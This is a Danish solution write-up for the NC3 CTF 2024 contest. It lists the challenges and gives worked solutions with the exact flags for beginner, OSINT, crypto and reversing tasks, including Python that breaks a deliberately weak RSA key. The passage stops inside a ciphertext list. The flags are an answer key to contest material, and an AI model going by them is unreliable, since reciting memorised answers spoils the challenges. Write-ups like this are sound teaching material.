			<tr>
					<th>Challenge</th>
					<th>Kategori</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><a href="#discord">Discord</a></td>
					<td>Kom godt i gang</td>
			</tr>
			<tr>
					<td><a href="#regler">Regler</a></td>
					<td>Kom godt i gang</td>
			</tr>
			<tr>
					<td><a href="#start-her">Start her!</a></td>
					<td>Kom godt i gang</td>
			</tr>
			<tr>
					<td><a href="#nissesnak">Nissesnak</a></td>
					<td>Kom godt i gang</td>
			</tr>
			<tr>
					<td><a href="#skoleudflugten">Skoleudflugten</a></td>
					<td>OSINT</td>
			</tr>
			<tr>
					<td><a href="#mere-kanel">Mere kanel!</a></td>
					<td>Kom godt i gang</td>
			</tr>
			<tr>
					<td><a href="#julebrev">Julebrev</a></td>
					<td>Kom godt i gang</td>
			</tr>
			<tr>
					<td><a href="#gammelnissen">Gammelnissen</a></td>
					<td>Crypto</td>
			</tr>
			<tr>
					<td><a href="#kryptoplikation">Kryptoplikation</a></td>
					<td>Crypto</td>
			</tr>
			<tr>
					<td><a href="#nisse_pension">Nisse-pension</a></td>
					<td>Reversing</td>
			</tr>
			<tr>
					<td><a href="#styrtet">Styrtet</a></td>
					<td>OSINT</td>
			</tr>
			<tr>
					<td><a href="#gnomernes-tegnestue">Gnomernes Tegnestue</a></td>
					<td>Kom godt i gang</td>
			</tr>
			<tr>
					<td><a href="#julens-undergang">Julens Undergang</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#a-deep-secret">A Deep Secret</a></td>
					<td>Stego</td>
			</tr>
			<tr>
					<td><a href="#nisseportalen-1">Nisseportalen #1</a></td>
					<td>Boot2root</td>
			</tr>
			<tr>
					<td><a href="#julemandens-nskeliste">Julemandens Ønskeliste</a></td>
					<td>Kom godt i gang</td>
			</tr>
			<tr>
					<td><a href="#gnomernes-h%C3%A6vn">Gnomernes Hævn</a></td>
					<td>Kom godt i gang</td>
			</tr>
			<tr>
					<td><a href="#flimmer-p%C3%A5-fjernsynet">Flimmer På Fjernsynet</a></td>
					<td>Stego</td>
			</tr>
			<tr>
					<td><a href="#postnordpolen-i">PostNordpolen I</a></td>
					<td>Crypto</td>
			</tr>
			<tr>
					<td><a href="#regnskabsnisserne">Regnskabsnisserne</a></td>
					<td>Kom godt i gang</td>
			</tr>
			<tr>
					<td><a href="#ondsindede-loginfors%C3%B8g">Ondsindede Loginforsøg</a></td>
					<td>Efterforskning: Det Store Nissehack</td>
			</tr>
			<tr>
					<td><a href="#serverskjulet">Serverskjulet</a></td>
					<td>Efterforskning: Det Store Nissehack</td>
			</tr>
			<tr>
					<td><a href="#postnordpolen-ii">PostNordpolen II</a></td>
					<td>Crypto</td>
			</tr>
			<tr>
					<td><a href="#kodedepotets-hemmelighed">Kodedepotets Hemmelighed</a></td>
					<td>Efterforskning: Det Store Nissehack</td>
			</tr>
			<tr>
					<td><a href="#alternativ-kodedeling">Alternativ Kodedeling</a></td>
					<td>Efterforskning: Det Store Nissehack</td>
			</tr>
			<tr>
					<td><a href="#gerningsgnomens-afsl%C3%B8ring">Gerningsgnomens Afsløring</a></td>
					<td>Efterforskning: Det Store Nissehack</td>
			</tr>
			<tr>
					<td><a href="#nisse-g%C3%A6ld">Nisse-gæld</a></td>
					<td>Pwn</td>
			</tr>
			<tr>
					<td><a href="#skattekammeret-robotnisse">Skattekammeret - robotnisse</a></td>
					<td>Boot2root</td>
			</tr>
			<tr>
					<td><a href="#skattekammeret-storenisse">Skattekammeret - storenisse</a></td>
					<td>Boot2root</td>
			</tr>
			<tr>
					<td><a href="#gremlingram">GremlinGram</a></td>
					<td>Stego</td>
			</tr>
			<tr>
					<td><a href="#nisseportalen-2">Nisseportalen #2</a></td>
					<td>Boot2root</td>
			</tr>
			<tr>
					<td><a href="#gift-wrappinator-9001">Gift Wrappinator 9001</a></td>
					<td>Reversing</td>
			</tr>
			<tr>
					<td><a href="#raided">Raided</a></td>
					<td>Forensics</td>
			</tr>
	</tbody>
</table>
<h2 id="score-over-tid">Score over tid:</h2>
<p><img src="/nc3_2024/Score_over_Time.png" alt="Score_over_Time.png"></p>
<h2 id="løsninger">Løsninger:</h2>
<hr>
<h2 id="discord">Discord</h2>
<p>NC3 CTF har en Discord server, hvor man kan snakke generelt med andre deltagere, kommunikere med admins, se first bloods på challenges, og dele writeups efter konkurrencen er slut.</p>
<p>Kom og vær med - måske nisserne har gemt et flag!</p>
<p><a href="https://nc3ctf.dk/discordauth">https://nc3ctf.dk/discordauth</a></p>
<p><strong>Løsning:</strong>
<img src="/nc3_2024/kom_godt_i_gang/discord.png" alt="Screenshot af NC3 CTF 2024 Discord"></p>
<p>Flag: <code>NC3{n1ss3rn3_ch4tt3r_pÅ_l1v3t_lØs}</code></p>
<hr>
<h2 id="regler">Regler</h2>
<p>Opsummering af info og regler:</p>
<ul>
<li>Flag har formatet <code>NC3{.*}</code></li>
<li>Opgaver scores dynamisk ud fra antal løsninger</li>
<li>Der kommer flere opgaver 6. december kl. 14:00</li>
<li>Nogle opgaver hostes på <a href="https://tryhackme.com/">TryHackMe</a> og kræver en gratis bruger der</li>
<li>Det er ikke tilladt at dele eller spørge om hints og flag</li>
<li>Det er ikke tilladt at angribe CTFens infrastruktur</li>
</ul>
<p>Læs resterende info og regler grundigt her før I går i gang.
Måske gemmer der sig også et flag!</p>
<p><strong>Løsning:</strong> Under regler (<a href="https://nc3ctf.dk/regler">https://nc3ctf.dk/regler</a>) nederst på siden finder man flag.</p>
<p>Flag: <code>NC3{hu5k_r3gl3rn3_så_bli1v3r_d3t_sj0v3s7_f0r_4ll3!}</code></p>
<hr>
<h2 id="start-her">Start her!</h2>
<p>Velkommen til NC3 CTF 2024!</p>
<p>Du har her adgang til en række opgaver inden for forskellige cyber security kategorier. Jo flere der løser en opgave, jo mindre bliver den værd, så over tid bliver opgavepoint en god indikator på sværhedsgrad.</p>
<p>Målet i hver opgave er at finde et &ldquo;flag&rdquo;, altså en tekststreng med et bestemt format, der indikerer, at opgaven er løst. Flag i NC3 CTF starter med <code>NC3{</code> og slutter med <code>}</code> og indtastes i inputfeltet for den løste opgave.</p>
<p>Her er dit første flag: <code>NC3{d3t_jul_d3t_c00l!}</code></p>
<p>Held og lykke!</p>
<p>Flag: <code>NC3{d3t_jul_d3t_c00l!}</code></p>
<hr>
<h2 id="nissesnak">Nissesnak</h2>
<p>Alle kan være med her. Reversing for alle. Sniksnak.</p>
<p><strong>Vedhæftet fil:</strong> <a href="/nc3_2024/kom_godt_i_gang/nc3ctf2o24_nissesnak.zip">nc3ctf2o24_nissesnak.zip</a></p>
<p><strong>Løsning:</strong> I zipfilen er der en html side:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html /&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">&#34;UTF-8&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">h1</span><span class="p">&gt;</span>Nissesnak - NC3CTF2o24<span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">ReverseString</span><span class="p">(</span><span class="nx">input</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="k">return</span> <span class="nx">input</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">).</span><span class="nx">reverse</span><span class="p">().</span><span class="nx">join</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">OnClick</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">flagValue</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&#34;flagInput&#34;</span><span class="p">).</span><span class="nx">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">ReverseString</span><span class="p">(</span><span class="nx">flagValue</span><span class="p">)</span> <span class="o">==</span> <span class="s1">&#39;}kansessin_tdnevgab{3cn&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">alert</span><span class="p">(</span><span class="s1">&#39;Du fandt flaget&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">alert</span><span class="p">(</span><span class="s1">&#39;Prøv igen&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Indtast flaget: <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;text&#34;</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;flagInput&#34;</span><span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;button&#34;</span> <span class="na">onclick</span><span class="o">=</span><span class="s">&#34;OnClick();&#34;</span> <span class="na">value</span><span class="o">=</span><span class="s">&#34;Afprøv&#34;</span><span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span></code></pre></div><p><code>}kansessin_tdnevgab{3cn</code></p>
<p>Reverse string: <code>python3 -c 'print(&quot;}kansessin_tdnevgab{3cn&quot;[::-1])'</code> giver <code>nc3{bagvendt_nissesnak}</code></p>
<p>Flag: <code>nc3{bagvendt_nissesnak}</code></p>
<hr>
<h2 id="skoleudflugten">Skoleudflugten</h2>
<p>I år har nisserne planlagt at besøge alle danske skoler. Hver skole skulle sende adressen og et billede af skolens tydeligste kendetegn, så den er nemmere at finde fra luften.</p>
<p>Men én skole har kun sendt billede, og det ville være synd, hvis nisserne ikke kom på besøg der. Kan du finde adressen til skolen, så de også får besøg i år?</p>
<p>Flag format: <code>NC3{Vejnavn Husnummer}</code></p>
<p>F.eks.: <code>NC3{Nissegade 24}</code></p>
<p><strong>Vedhæftet fil:</strong> <a href="/nc3_2024/OSINT/Voresskole.jpg">Voresskole.jpg</a></p>
<p><strong>Løsning:</strong> Med en hurtig reverse image search finder vi <a href="https://broager.dk/turisme-og-ture/25-kunst-oplevelser-paa-broagerland-2/4-kunst-paa-broagerland-hvalen-ved-broager-skole/">Kunst på Broagerland: Hvalen ved Broager Skole</a></p>
<p>Adressen for Broager Skole er Nejsvej 19, 6310 Broager.</p>
<p>Flag: <code>NC3{Nejsvej 19}</code></p>
<hr>
<h2 id="mere-kanel">Mere kanel!</h2>
<p>Efter en god, lille indledning er her noget lidt sværere.</p>
<p><strong>Vedhæftet fil:</strong> <a href="/nc3_2024/kom_godt_i_gang/nc3ctf2o24_mere_kanel.zip">nc3ctf2o24_mere_kanel.zip</a></p>
<p><strong>Løsning:</strong> I zipfilen er der en html side:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html /&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">&#34;UTF-8&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">center</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">h1</span> <span class="na">style</span><span class="o">=</span><span class="s">&#34;font-family:&#39;Lucida Console&#39;&#34;</span><span class="p">&gt;</span>Mere kanel! - NC3CTF2o24<span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="kd">function</span> <span class="nx">OnClick</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="kd">var</span> <span class="nx">flagValue</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&#34;flagInput&#34;</span><span class="p">).</span><span class="nx">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="kd">var</span> <span class="nx">flag</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">flagValue</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="kd">var</span> <span class="nx">c</span> <span class="o">=</span> <span class="nx">flagValue</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="nx">flag</span> <span class="o">+=</span> <span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="nx">c</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="nx">flag</span> <span class="o">+=</span> <span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="nx">c</span> <span class="o">^</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="k">if</span> <span class="p">(</span><span class="nx">flag</span> <span class="o">==</span> <span class="nx">atob</span><span class="p">(</span><span class="s2">&#34;T09EQjQyfHplZWZkZmRmZGZkdXVgXmZkZmRmZHNzc3Nzc2Bec3NqaHRyZmRvb2hmc3P5+WVlfnw=&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="nx">alert</span><span class="p">(</span><span class="s1">&#39;Du fandt flaget&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="nx">alert</span><span class="p">(</span><span class="s1">&#39;Prøv igen&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Flag: &#34;</span> <span class="o">+</span> <span class="nx">btoa</span><span class="p">(</span><span class="nx">flag</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Indtast flaget: <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;text&#34;</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;flagInput&#34;</span><span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;button&#34;</span> <span class="na">onclick</span><span class="o">=</span><span class="s">&#34;OnClick();&#34;</span> <span class="na">value</span><span class="o">=</span><span class="s">&#34;Afprøv&#34;</span><span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">center</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>Med lidt Python kan vi hurtigt løse dette:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl"><span class="n">decoded</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="s2">&#34;T09EQjQyfHplZWZkZmRmZGZkdXVgXmZkZmRmZHNzc3Nzc2Bec3NqaHRyZmRvb2hmc3P5+WVlfnw=&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">decoded</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">decoded</span><span class="p">),</span> <span class="mi">2</span><span class="p">)</span> <span class="k">if</span> <span class="p">(</span><span class="n">decoded</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="mi">1</span> <span class="o">==</span> <span class="n">decoded</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]))</span>
</span></span></code></pre></div><p>Flag: <code>NC3{deeeet_eeerrr_risengrød}</code></p>
<hr>
<h2 id="julebrev">Julebrev</h2>
<p>Hjælp! Julemanden har fået et brev i sin postkasse fra et barn, men han kan slet ikke tyde, hvad der står!</p>
<p><img src="/nc3_2024/kom_godt_i_gang/julebrev.png" alt="Billde af Julebrev"></p>
<p><strong>Vedhæftet fil:</strong> <a href="/nc3_2024/kom_godt_i_gang/julebrev.txt">julebrev.txt</a></p>
<p><strong>Løsning:</strong> Simpel ciphertext, med simple gætterier, som f.eks. &ldquo;Kære Julemand&rdquo; og &ldquo;NC3&rdquo;.</p>
<pre tabindex="0"><code>KÆRE JULEMAND,

JEG HÅBER, DU HAR DET GODT OPPE PÅ NORDPOLEN,
OG AT RUDOLF OG DE ANDRE RENSD⛸️R FÅR MASSER AF GULER🧤DDER.

JEG 🧤NSKER MIG:
- AT ALLE 🔔ERDENS B🧤RN KAN FÅ MAD NOK OG EN GOD FAMILIE
- AT INGEN MÅ 🔔ÆRE ENSOMME OG ALENE I JULEN
- NC3{FR3D_PÅ_J0RD_0G_0GSÅ_1_RUMM3T}
- EN KÆMPE FLE🎁I TRA🎁 BANE

MANGE KÆRLIGE HILSNER
MAGNUS, 7 ÅR
</code></pre><p>Flag: <code>NC3{FR3D_PÅ_J0RD_0G_0GSÅ_1_RUMM3T}</code></p>
<hr>
<h2 id="gammelnissen">Gammelnissen</h2>
<p>Gammelnissen krypterer altid sine beskeder med RSA og skriver hvert primtal ned på hver sin lap papir - men nu har han glemt, hvor han lagde den ene.</p>
<p>Mon ikke også ét er nok&hellip;</p>
<p><strong>Vedhæftet filer:</strong> <a href="/nc3_2024/Crypto/gammelnissen/encrypt.py">encrypt.py</a> og <a href="/nc3_2024/Crypto/gammelnissen/krypteret.txt">krypteret.txt</a></p>
<p><strong>Løsning:</strong> Ved at regne os frem til <code>d</code> kan vi dekryptere den krypterede besked.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">math</span> <span class="kn">import</span> <span class="n">isqrt</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">n</span> <span class="o">=</span> <span class="mi">113911967470309902498408355902002849141315080752710385265970164128666973595176344769929712328073912045889359818114591877923052777733321490306146637488744172731692293178898440960409438792433505782977089979664244577305445285018320700759389078834385329224670109256967919368893276088261120001891752743010832994161</span>
</span></span><span class="line"><span class="cl"><span class="n">ct</span> <span class="o">=</span> <span class="mi">181418563625235140825700189846742192203761169128129988853260864253616933650143288011695280847386639743255770112135714678317911664798191379176143996036639508592464099027261445464652005100125349285229059123836955894715533222277904738129836808228104462852378456333009976696034882026353617159677318042624866664</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># More precise p computation</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">isqrt</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Check if p is exact</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="n">p</span> <span class="o">*</span> <span class="n">p</span> <span class="o">&gt;</span> <span class="n">n</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">p</span> <span class="o">-=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="n">p</span> <span class="o">*</span> <span class="n">p</span> <span class="o">&lt;</span> <span class="n">n</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">p</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Verify n = p * p</span>
</span></span><span class="line"><span class="cl"><span class="k">assert</span> <span class="n">n</span> <span class="o">==</span> <span class="n">p</span> <span class="o">*</span> <span class="n">p</span><span class="p">,</span> <span class="s2">&#34;Factorization failed&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Compute φ(n) = p(p-1)</span>
</span></span><span class="line"><span class="cl"><span class="n">phi</span> <span class="o">=</span> <span class="n">p</span> <span class="o">*</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Compute private key d</span>
</span></span><span class="line"><span class="cl"><span class="n">e</span> <span class="o">=</span> <span class="mh">0x10001</span>
</span></span><span class="line"><span class="cl"><span class="n">d</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">phi</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Decrypt the message</span>
</span></span><span class="line"><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">ct</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Convert to bytes</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
</span></span><span class="line"><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span></code></pre></div><p>Flag: <code>NC3{3t_pr1mt4l_1_hånd3n_3r_b3dr3_3nd_t0_på...3ll3r_v3nt}</code></p>
<hr>
<h2 id="kryptoplikation">Kryptoplikation</h2>
<p>Crypto? Er det ikke sådan noget med en blockchain og bitcoin eller hvad?</p>
<p><strong>Vedhæftet filer:</strong> <a href="/nc3_2024/Crypto/kryptoplikation/encrypt.py">encrypt.py</a> og <a href="/nc3_2024/Crypto/kryptoplikation/krypteret.txt">krypteret.txt</a></p>
<p><strong>Løsning:</strong> Ved at antage at flaget starter med <code>NC3{</code> og slutter med <code>}</code> kan vi bruge:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">sympy</span> <span class="kn">import</span> <span class="n">mod_inverse</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Constants from the encrypt.py script</span>
</span></span><span class="line"><span class="cl"><span class="n">P</span> <span class="o">=</span> <span class="mi">13187894026947502600331395231459335882158393410614133036296342117478704820555154018132946245287063906492618556075499328589037764675831105264487871422591331</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Known plaintext details</span>
</span></span><span class="line"><span class="cl"><span class="n">known_plaintext_char</span> <span class="o">=</span> <span class="s1">&#39;N&#39;</span>  <span class="c1"># First character of the flag</span>
</span></span><span class="line"><span class="cl"><span class="n">known_plaintext</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">known_plaintext_char</span><span class="p">)</span>  <span class="c1"># ASCII value of &#39;N&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Ciphertext (from krypteret.txt)</span>
</span></span><span class="line"><span class="cl"><span class="n">ciphertext</span> <span class="o">=</span> <span class="p">[</span><span class="mi">13068625329403427490209226484937886428200436811391600198863670891144496138196857451785632892218955434297452961323931225045892056105830636229801232124101611</span><span class="p">,</span> <span class="mi">8013178340487526826124636731962961652928458866173957508131223711212639098315916960578351604079689741981661485170114164549782695259613610607325807631866316</span><span class="p">,</span> <span class="mi">9052097101030991151303394056746284813906377661702743708345336433343659198842374257634180977423434857290358419176243467475738566095190458506581108366627643</span><span class="p">,</span> <span class="mi">10970909692059152988164683710950998530584939787130272325530000242493421156750893429949421920020113791647531494186411268603456029673010195592176190771497337</span><span class="p">,</span> <span class="mi">13028869096888735786835170236097403276881117944984089253052780482366426577410758596336528441196252610232397763073408523864843486582497146551572352357938371</span><span class="p">,</span> <span class="mi">8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543</span><span class="p">,</span> <span class="mi">8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543</span><span class="p">,</span> <span class="mi">5915462703143252324080093957976073755312961841912629634797553062561564116869952938742140631880848099331740018032594208107346668826793169969700766279262042</span><span class="p">,</span> <span class="mi">4896422058857133850588364757612992169994702479587598907488885544819578796736545069410863484048454396055570683151726255771915082752883066909559905427582335</span><span class="p">,</span> <span class="mi">11070300273345882246599824333052206408883236953149049690057226264438595058716140568572183047576870851810169489812718021556077453481343919787748390186905437</span><span class="p">,</span> <span class="mi">6014853284429981582515234580077281633611259007931406999324779084506738018835200077364901759437605159494378013658900961059968092635126894165272965694670142</span><span class="p">,</span> <span class="mi">6014853284429981582515234580077281633611259007931406999324779084506738018835200077364901759437605159494378013658900961059968092635126894165272965694670142</span><span class="p">,</span> <span class="mi">7933665875458143419376524234281995350289821133358935616509442893656499976743719249680142702034284093851551088669068762187685556212946631250868048099539836</span><span class="p">,</span> <span class="mi">7933665875458143419376524234281995350289821133358935616509442893656499976743719249680142702034284093851551088669068762187685556212946631250868048099539836</span><span class="p">,</span> <span class="mi">7933665875458143419376524234281995350289821133358935616509442893656499976743719249680142702034284093851551088669068762187685556212946631250868048099539836</span><span class="p">,</span> <span class="mi">1958568823542853540235345903045196867997880991835039562995554217927831518694618027764345393619381758422228273260690502308766033101153226763823962171032934</span><span class="p">,</span> <span class="mi">5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662</span><span class="p">,</span> <span class="mi">840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127</span><span class="p">,</span> <span class="mi">2858340770284896903604906356886828999358183754937537452871550509335608156469729330748309188383666989503232013389990351101051910605062860789278183724222921</span><span class="p">,</span> <span 